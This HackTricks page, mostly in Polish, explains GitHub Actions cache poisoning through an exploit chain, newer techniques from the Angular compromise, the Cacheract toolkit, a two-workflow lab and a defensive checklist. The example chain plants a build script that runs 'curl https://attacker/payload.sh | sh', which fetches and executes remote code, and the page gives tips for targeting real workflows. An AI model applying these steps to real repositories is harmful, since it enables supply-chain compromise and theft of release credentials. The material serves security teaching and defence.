GH Actions - Cache Poisoning
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Przegląd
Cache GitHub Actions jest globalny w obrębie repozytorium. Każdy workflow, który zna cache key (lub restore-keys), może wypełnić ten wpis, nawet jeśli job ma jedynie permissions: contents: read. GitHub nie separuje cache według workflow, typu zdarzenia ani poziomu zaufania, więc atakujący, który przełamie mało uprzywilejowany job, może zatruć cache, który później przywróci uprzywilejowany job release. W ten sposób kompromitacja Ultralytics przekształciła się z workflow pull_request_target w pipeline publikujący do PyPI.
Podstawowe elementy ataku
actions/cacheudostępnia zarówno operacje restore, jak i save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Wywołanie save jest dozwolone dla dowolnego joba z wyjątkiem naprawdę nieufnych workflowpull_requesturuchamianych z forków.- Wpisy cache identyfikowane są wyłącznie przez
key. Szerokierestore-keysułatwiają wstrzyknięcie payloadów, ponieważ atakujący musi tylko zderzyć się z prefiksem. - Cache keys i wersje są wartościami określanymi po stronie klienta; serwis cache nie weryfikuje, czy key/version odpowiada zaufanemu workflow lub ścieżce cache.
- URL serwera cache + runtime token mają długi czas życia względem workflow (historycznie ~6 godzin, teraz ~90 minut) i nie można ich odwołać przez użytkownika. Od końca 2024 GitHub blokuje zapisy do cache po zakończeniu oryginalnego joba, więc atakujący musi zapisać podczas gdy job nadal działa albo wcześniej zatruć przyszłe klucze.
- Zbuforowany system plików jest przywracany dosłownie. Jeśli cache zawiera skrypty lub binaria, które zostaną wykonane później, atakujący kontroluje ścieżkę wykonania.
- Sam plik cache nie jest weryfikowany przy restore; to po prostu archiwum skompresowane zstd, więc zatruty wpis może nadpisać skrypty,
package.jsonlub inne pliki w ścieżce przywracania.
Przykładowy łańcuch eksploatacji
Workflow autora (pull_request_target) zatruł cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Uprzywilejowany workflow przywrócił i uruchomił zatruty cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Drugi zadanie teraz uruchamia kod kontrolowany przez atakującego, posiadając jednocześnie poświadczenia wydania (PyPI tokens, PATs, cloud deploy keys, itp.).
Poisoning mechanics
Wpisy cache GitHub Actions są zazwyczaj archiwami tar skompresowanymi zstd. Możesz utworzyć takie lokalnie i przesłać je do cache:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.
Praktyczne wskazówki dotyczące eksploatacji
- Celuj w workflows uruchamiane przez
pull_request_target,issue_commentlub polecenia bota, które nadal zapisują cache; GitHub pozwala im nadpisywać repository-wide keys nawet gdy runner ma tylko dostęp do odczytu repo. - Szukaj deterministycznych cache keys używanych w różnych granicach zaufania (na przykład
pip-${{ hashFiles('poetry.lock') }}) lub zbyt permissiverestore-keys, a następnie zapisz swój złośliwy tarball zanim uprzywilejowany workflow się uruchomi. - Monitoruj logi pod kątem wpisów
Cache savedlub dodaj własny krok zapisujący cache, aby następny release job przywrócił payload i uruchomił trojanizowane skrypty albo binarki.
Nowsze techniki zaobserwowane w łańcuchu Angular (2026)
- Cache v2 “prefix hit” behavior: W Cache v2, nawet dokładne misses mogą przywrócić inny wpis dzielący ten sam prefix klucza (efektywnie “all keys are restore keys”). Atakujący mogą wstępnie seedować near-collision keys, żeby przyszły miss wpadł na zatruty obiekt.
- Forced eviction in one run: Od 20 listopada 2025 GitHub natychmiast usuwa wpisy, gdy użycie cache repo przekroczy limit (domyślnie 10 GB). Atakujący może najpierw przesłać junk cache data, usunąć legit entries w tym samym jobie, a następnie zapisać złośliwy cache key bez czekania na dzienny cykl czyszczenia.
setup-nodecache pivots via reusable actions: Reusable/internal actions, które opakowująactions/setup-nodezcache-dependency-path, mogą cicho połączyć low-trust i high-trust workflows. Jeśli obie ścieżki haszują się do wspólnych kluczy, zatruwanie dependency cache może wykonać się w uprzywilejowanej automatyzacji (np. Renovate/bot jobs).- Chaining cache poisoning into bot-driven supply chain abuse: W przypadku Angulara, cache poisoning ujawnił bot PAT, który potem umożliwił force-push bot-owned PR heads po approval. Jeśli reguły resetu approval zwalniają bot actors, to pozwala na podmianę reviewed commits na złośliwe (np. imposter action SHAs) przed merge.
##å Cacheract
Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. Praktyczna wartość polega na automatyzacji kruchych części, które łatwo zepsuć ręcznie:
- Wykrywa i wykorzystuje runtime cache context z runnera (
ACTIONS_RUNTIME_TOKENi cache service URL). - Enumeruje i celuje w candidate cache keys/versions używane przez downstream workflows.
- Wymusza eviction przez przepełnienie cache quota (jeśli dotyczy), a następnie zapisuje attacker-controlled entries w tym samym runie.
- Zasiewa poisoned cache content tak, żeby późniejsze workflows przywróciły i wykonały zmodyfikowane tooling.
To jest szczególnie przydatne w środowiskach Cache v2, gdzie timing i zachowanie key/version mają większe znaczenie niż we wczesnych implementacjach cache.
Demo
Używaj tego tylko w repozytoriach, które posiadasz lub do których masz wyraźne pozwolenie na testy.
1. Vulnerable workflow (untrusted trigger can save cache)
Ten workflow symuluje antywzorzec pull_request_target: zapisuje zawartość cache z kontekstu kontrolowanego przez atakującego i zapisuje ją pod deterministycznym kluczem.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Privileged workflow (przywraca i uruchamia z pamięci podręcznej plik binarny/skrypt)
Ten workflow przywraca ten sam klucz i uruchamia toolchain/bin/build, posiadając jednocześnie testowy sekret. Jeśli zostanie zatruty, ścieżka wykonania jest kontrolowana przez atakującego.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Uruchom laboratorium
- Dodaj stabilny
toolchain.lockplik, aby oba workflows rozwiązywały ten sam cache key. - Wyzwól
untrusted-cache-writerz testowego PR. - Wyzwól
privileged-consumerprzezworkflow_dispatch. - Potwierdź, że
POISONED_BUILD_PATHpojawia się w logach i że/tmp/cache-poisoning-demo.txtzostał utworzony.
4. Co to demonstruje technicznie
- Cross-workflow cache trust break: Writer i consumer workflows nie dzielą poziomu zaufania, ale współdzielą cache namespace.
- Execution-on-restore risk: Nie przeprowadza się weryfikacji integralności przed uruchomieniem przywróconego skryptu/binarki.
- Deterministic key abuse: Jeśli job o wysokim zaufaniu używa przewidywalnych kluczy, job o niskim zaufaniu może uprzednio umieścić złośliwą zawartość.
5. Lista kontrolna weryfikacji obronnej
- Oddzielaj klucze według granicy zaufania (
pr-,ci-,release-) i unikaj współdzielonych prefiksów. - Wyłącz zapisy do cache w untrusted workflows.
- Wylicz hash/weryfikuj przywróconą zawartość wykonywalną przed jej uruchomieniem.
- Unikaj uruchamiania narzędzi bezpośrednio ze ścieżek cache.
Źródła
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

